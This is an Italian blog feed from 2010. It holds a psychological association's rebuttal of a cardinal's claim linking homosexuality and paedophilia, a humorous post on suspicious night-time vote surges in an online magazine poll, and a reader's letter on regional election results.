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<p class="western" style="margin-bottom: 0cm;"><span style="color: #000000;"><span style="font-family: Monaco;"><span style="font-size: x-small;">L’Associazione Italiana di Psicologia (AIP), principale Società Scientifica rappresentativa della Psicologia e della Ricerca Psicologica Italiana, apprese le parole pronunciate dal Cardinale Tarcisio Bertone durante la visita in Cile (“numerosi psichiatri e psicologi &#8230;. hanno dimostrato che esiste un legame tra omosessualità e pedofilia&#8221;, Corriere della Sera.14.04.2010, p. 2), intende precisare che la letteratura scientifica sull’argomento non supporta in alcun modo quanto sostenuto dal Segretario di Stato della Santa Sede e che è anzi dimostrato che vittime di abuso sono tanto i bambini quanto le bambine. </span></span></span></p>
<p class="western" style="margin-bottom: 0cm;"><span style="color: #000000;"> </span></p>
<p class="western" style="margin-bottom: 0cm;"><span style="color: #000000;"><span style="font-family: Monaco;"><span style="font-size: x-small;">In particolare, in qualità di Psicologi, Psicoterapeuti e Ricercatori sentiamo il dovere di precisare che le parole pronunciate dal Cardinale, oltre che assolutamente prive di evidenza scientifica, paiono rilanciare una pericolosa re-interpretazione in chiave psicopatologica dell’omosessualità, condizione invece da anni esplicitamente esclusa dalla nosografia psichiatrica in uso. </span></span></span></p>
<p class="western" style="margin-bottom: 0cm;"><span style="color: #000000;"> </span></p>
<p class="western" style="margin-bottom: 0cm;"><span style="color: #000000;"><span style="font-family: Monaco;"><span style="font-size: x-small;">Pur prendendo atto delle successive dichiarazioni di rettifica, l&#8217;AIP sente il dovere di precisare che &#8220;patologizzare&#8221; l’omosessualità, invocando in modo improprio il supporto della comunità scientifica, non fa che aumentare l’omofobia, che è la vera malattia da combattere. L’errato riferimento alla letteratura psicologica, sociologica o psichiatrica appare estremamente dannoso per lo sforzo che, da anni, clinici e ricercatori intraprendono a vantaggio della salute psichica della popolazione, sia dei minori (abusati e non) che degli abusanti (questi sì realmente malati). L&#8217;AIP pertanto invita tutti coloro che ricoprono importanti ruoli istituzionali, e che quindi hanno un peso incisivo sulla pubblica opinione, a prestare maggiore attenzione alla ricerca scientifica e a diffondere correttamente i suoi risultati conoscitivi e applicativi. </span></span></span></p>
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<p class="western" style="margin-bottom: 0cm;"><span style="color: #000000;"><span style="font-family: Monaco;"><span style="font-size: x-small;">prof. Roberto Cubelli</span></span></span></p>
<p class="western" style="margin-bottom: 0cm;"><span style="color: #000000;"><span style="font-family: Monaco;"><span style="font-size: x-small;">Presidente Associazione Italiana di Psicologia</span></span></span></p>
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		<title>L’irresistibile fascino notturno di Luca Cordero di Montezemolo</title>
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		<pubDate>Tue, 13 Apr 2010 07:59:18 +0000</pubDate>
		<dc:creator>Vincenzo Fiore</dc:creator>
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Alle 0:00 dell’8 aprile, il settimanale “L’espresso” ha lanciato un sondaggio online per rispondere alla domanda “Chi può battere Silvio Berlusconi? – 2013, vota il tuo candidato contro Berlusconi”.
Questo il link: http://espresso.repubblica.it/sondaggio-risultati?idpoll=2124611
&#8230; e questa è la storia di come ho scoperto che gli hawaiani amano Luca Cordero di Montezemolo.
Il fenomeno aveva cominciato ad attirare l’attenzione [...]]]></description>
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<p>Alle 0:00 dell’8 aprile, il settimanale “L’espresso” ha lanciato un sondaggio online per rispondere alla domanda “Chi può battere Silvio Berlusconi? – 2013, vota il tuo candidato contro Berlusconi”.</p>
<p>Questo il link: <a href="http://espresso.repubblica.it/sondaggio-risultati?idpoll=2124611">http://espresso.repubblica.it/sondaggio-risultati?idpoll=2124611</a></p>
<p>&#8230; e questa è la storia di come ho scoperto che gli hawaiani amano Luca Cordero di Montezemolo.</p>
<p>Il fenomeno aveva cominciato ad attirare l’attenzione sin dal primo giorno: nella notte di giovedì 8, qualcuno non dormiva. E votava.</p>
<p>Poi la cosa si era ripetuta anche il secondo giorno, nella notte di venerdì 9: un primo conteggio approssimativo attribuiva a Luca Cordero di Montezemolo (da adesso in avanti LCdM) un aumento di circa 7000 preferenze distribuite nelle due notti, ma il dato era ancora troppo grezzo per poterlo analizzare seriamente.</p>
<p>Occorreva una verifica empirica ed ecco giungere il sabato sera: il momento perfetto per fare del monitoraggio computerizzato. Da principio non capivo: aggiornavo la pagina stancamente, vedendo di tanto in tanto aumentare qui e là una o due preferenze, ma all’improvviso, all’1:18 minuti, si comincia!</p>
<p>Una scalata inarrestabile verso la vetta, un fiume in piena di preferenze, travolgente, della durata di 50 minuti: alle 2:07 nella notte tra sabato 10 e domenica 11, il computo per LCdM segna 11022 preferenze, con un bilancio di +2657 preferenze in 50 minuti scarsi (per il valore olimpico di 0.9 preferenze al secondo, di media&#8230; ma con picchi ben superiori!).</p>
<p>Il re della notte è salito sul trono per la terza volta di fila e si è ripreso la testa del sondaggio, come gli compete. Certo, ammetto di non essere riuscito a trovare una spiegazione plausibile per un paio di misteriose battute di arresto, in cui il numero delle preferenze addirittura diminuiva, per poi aumentare nuovamente con rinnovato slancio. Un aggiornamento del server errato? Temo di aver bisogno di un decreto interpretativo.</p>
<p>Ad ogni modo, preso dall’esaltazione del momento, dimentico i miei obblighi di ricercatore e mi convinco che il fenomeno si sia ormai manifestato per intero: me ne vado a dormire.</p>
<p>Errore da dilettante!</p>
<p>Il mio check successivo arriva sul tardi: devo aspettare le 10:31 di domenica 11 per scoprire che il fenomeno è contagioso e ha coinvolto anche Mario Draghi.</p>
<p>Perplesso annoto i nuovi dati e le 12 ore che hanno sconvolto il sondaggio dell’espresso come neanche i suoi autori avrebbero potuto immaginare: basti pensare che le preferenze complessive passano da 25836 (raccolte in tre giorni) a 35710 (+9874 nella sola notte: il 38% in più! Di cui oltre 9000 ottenute nel periodo dopo la mezzanotte. Non so se mi spiego&#8230;).</p>
<p><strong> </strong></p>
<p><a href="http://www.vincenzofiore.it/wp-content/uploads/2010/04/grafico.jpg"><img class="aligncenter size-full wp-image-1448" title="grafico" src="http://www.vincenzofiore.it/wp-content/uploads/2010/04/grafico.jpg" alt="" width="583" height="391" /></a></p>
<p>Ma guardiamo Mario Draghi. D’accordo, abbiamo già incoronato LCdM e non si discute, ma per spirito sportivo, va assegnato un podio! I meno accorti potrebbero essere tentati dall’assegnare banalmente il secondo posto a Nichi, che con il suo metodo lumaca e le preferenze prese a poco a poco durante il giorno, in orario di ufficio, da grigi lavoratori e nerd smanettoni del computer, ha raggiunto quota 9500. Ma bisogna essere onesti: nelle 12 ore sotto osservazione, quelle che abbiamo visto essere il vero bacino di utenti dell’espresso, le sue preferenze aumentano di meno di 300 unità.</p>
<p>&#8230;e invece Draghi? Che spettacolo! Lo si poteva dare per spacciato ormai: sole 1229 preferenze raccolte in tre giorni pieni -74 ore di sondaggio, comprese le prime due notti di fuoco del nostro LCdM! -, ma ecco che dalle 2:00 del mattino alle 10:30 del quarto giorno, il governatore risorge arrivando a 4525 preferenze!  Il 300% in più nella sola lunga alba di domenica mattina.</p>
<p>Una ipotesi interpretativa comincia ormai a farsi strada e non mi resta che una controprova: attendo impaziente la giornata di lunedì, per registrare il dato della mattina di un giorno lavorativo al netto dell’ormai prevedibile rush notturno – che si presenterà decisamente sotto tono, rispetto alla notte brava di sabato (+2500 circa per LCdM nella notte tra domenica e lunedì)-. La domanda che mi pongo è: quante preferenze raccoglierà LCdM durante la mattina e il pomeriggio di un giorno lavorativo?</p>
<p>Ecco la risposta: dalle 9:00 alle 17:00 circa di lunedì 12 aprile, LCdM totalizza un limpido +42 preferenze (passando da 16603 a 16645: un aumento dello 0.25%).</p>
<p>La situazione è ormai chiara: se evidentemente Draghi vede il suo bacino più consistente nei ragazzi di rientro dalle discoteche (prima di andare a dormire alle 6 del mattino, ci si collega per votare il sondaggio), il solo ed unico re della notte, semplicemente, è una figura di livello internazionale.</p>
<p>Alle Hawaii ad esempio il fuso orario è 11 ore indietro.</p>
<p>Cose che capitano. Soprattutto a “L’espresso”.</p>
<p>Haloa!</p>
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		<title>Alcune considerazioni post-elezioni</title>
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		<pubDate>Sun, 04 Apr 2010 08:07:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
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[...]
…Purtroppo però non dico nulla di nuovo se esterno la mia amarezza, delusione e rabbia sull&#8217;esito delle Regionali (immagino le tue che hai un investimento differente dal mio nei confronti della politica…).
Il risultato della Calabria purtroppo me lo aspettavo, perché Scopelliti è forte e ahimè amato in parte a ragione, perché Loiero non era di sicuro [...]]]></description>
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<p><a href="http://www.vincenzofiore.it/wp-content/uploads/2010/04/attesa.jpg"><img class="aligncenter size-large wp-image-1423" title="attesa" src="http://www.vincenzofiore.it/wp-content/uploads/2010/04/attesa-585x390.jpg" alt="" width="585" height="390" /></a></p>
<p style="text-align: justify;">[...]</p>
<p style="text-align: justify;">…Purtroppo però non dico nulla di nuovo se esterno la mia amarezza, delusione e rabbia sull&#8217;esito delle Regionali (immagino le tue che hai un investimento differente dal mio nei confronti della politica…).</p>
<p style="text-align: justify;">Il risultato della Calabria purtroppo me lo aspettavo, perché Scopelliti è forte e ahimè amato in parte a ragione, perché Loiero non era di sicuro l&#8217;esponente migliore che la Sinistra potesse proporre, né Callipo un effettivo antagonista per nessuno dei due. E nel contesto italiano mi aspettavo alcuni dei risultati ottenuti, ma nel Lazio credevo e speravo veramente che Emma Bonino ce l&#8217;avrebbe fatta!</p>
<p style="text-align: justify;">Mi chiedo come fa la gente a non voler riflettere, a non voler acquisire un minimo di senso critico e di volontà di informazione?!?</p>
<p style="text-align: justify;">E i quartieri popolari… che hanno votato a Destra? Ma come si fa!?!L&#8217;VIII Municipio – dove lavoro due giorni a settimana – in cui la povertà si tocca con mano, ha votato a Destra!Sarà un caso che in quella zona ci sia una sezione anche di Forza Nuova? Ora, problema mediatico a parte, disinformazione e sfiducia, di assoluta rilevanza certamente tutti e tre, credo che quello che su tutto il territorio nazionale manchi sia il contatto effettivo con le diverse frange della popolazione. Questa è la spiegazione più plausibile per me per quanto concerne l&#8217;VIII Municipio.</p>
<p style="text-align: justify;">Ovvero, situazioni particolari a parte, non si può attendere il pre-elezioni per farsi conoscere. Questo atteggiamento viene assolutamente preso – e lo è! – come finalizzato alla tornata elettorale. Bisogna &#8216;fidelizzare&#8217; (termine non bellissimo ma calzante) le persone. Solo se conosco qualcuno e ho fiducia in lei/lui, la/lo voterò. E&#8217;questo il meccanismo che si deve ingenerare. Io ho modo di vederti di fronte a me, ti conosco, tocco con mano che hai avuto la volontà di farti conoscere, hai fatto qualcosa, magari qualcosa di buono e ti voto!E, per quanto riguarda Roma, dal singolo Municipio dovrebbe partire una sorta di circolo virtuoso che si estende anche agli altri Municipi e così via.</p>
<p style="text-align: justify;">Non penso che gran parte delle persone faccia o per volontà, o per tempo, o per cultura, ragionamenti di carattere politico raffinato o di stampo teorico.<br />
Credo che, a ragione, voglia invece avere delle cose tangibili, immediate, che rappresentino la soluzione di un problema e che allo stesso tempo voglia &#8216;vedere&#8217;, aver presente un referente vero e non virtuale per la risoluzione di un problema. E&#8217;chiaro che non sempre si può avere il diretto interessato di un provvedimento preso, ma un suo sostituto, un referente &#8216;in tutti i sensi presente’ sì, lo si deve avere&#8230; sempre!<br />
E&#8217;da questo che si deve ripartire secondo me. Interventi piccoli, mirati, anche solo di conoscenza, resi accattivanti da un clima accogliente e dalla volontà fattiva di voler comunicare, di ascoltare &#8216;attivamente&#8217; e di confrontarsi alla pari, chiunque si abbia davanti&#8230;..Bisogna sempre tener presente a chi si vuole comunicare e con chi si sta parlando. I discorsi, gli strumenti e/o i provvedimenti (e qui non mi riferisco a Leggi nazionali ovviamente) sparati nel mucchio non possono andar bene! Ad esempio, Internet è uno strumento utile, ma raggiunge solo alcune fasce della popolazione. Ti assicuro che non ha raggiunto e non raggiunge neppure il 3 percento (e credimi, non esagero) degli utenti che incontro settimanalmente al Centro per l&#8217;Impiego e in Associazione. Si tratta di disoccupati/precari, ma soprattutto di cassa integrati e lavoratori in mobilità, molti dei quali giovanissimi; sono specialmente operai e assistenti familiari. Ma&#8230; la Sinistra non dovrebbe raggiungere loro in primis?E… se neanche ci parla!Non ci sa parlare!<br />
E&#8217;in parte elitaria (quando conduce delle riflessioni di stampo politico che sono elucubrazioni mentali e che scarsa inerenza e incidenza hanno sul reale), in parte poco incisiva!Ti scrivo queste cose perché, come ben sai sono donna, giovane, meridionale e precaria e quasi quotidianamente mi confronto con persone che purtroppo stanno di gran lunga peggio di me. Non faccio davvero molto: in alcune cose, come immaginerai, ho le mani legate e in altre intervengono i limiti personali, ma cerco di prendere ognuna/o di loro in carico.<br />
Li accolgo sempre, non lascio cadere mai delle loro richieste (esplicite o meno), spiego loro se non posso intervenire perché non posso farlo. Senza volermi dipingere l&#8217;eroina che davvero non sono, è questo quello che vorrei che un Partito politico mi mostrasse: che sono importante, che le mie richieste anche quando inespresse sono comprese e che soprattutto sono prese in carico, non lasciate cadere MAI nel vuoto.</p>
<p style="text-align: justify;">MA</p>
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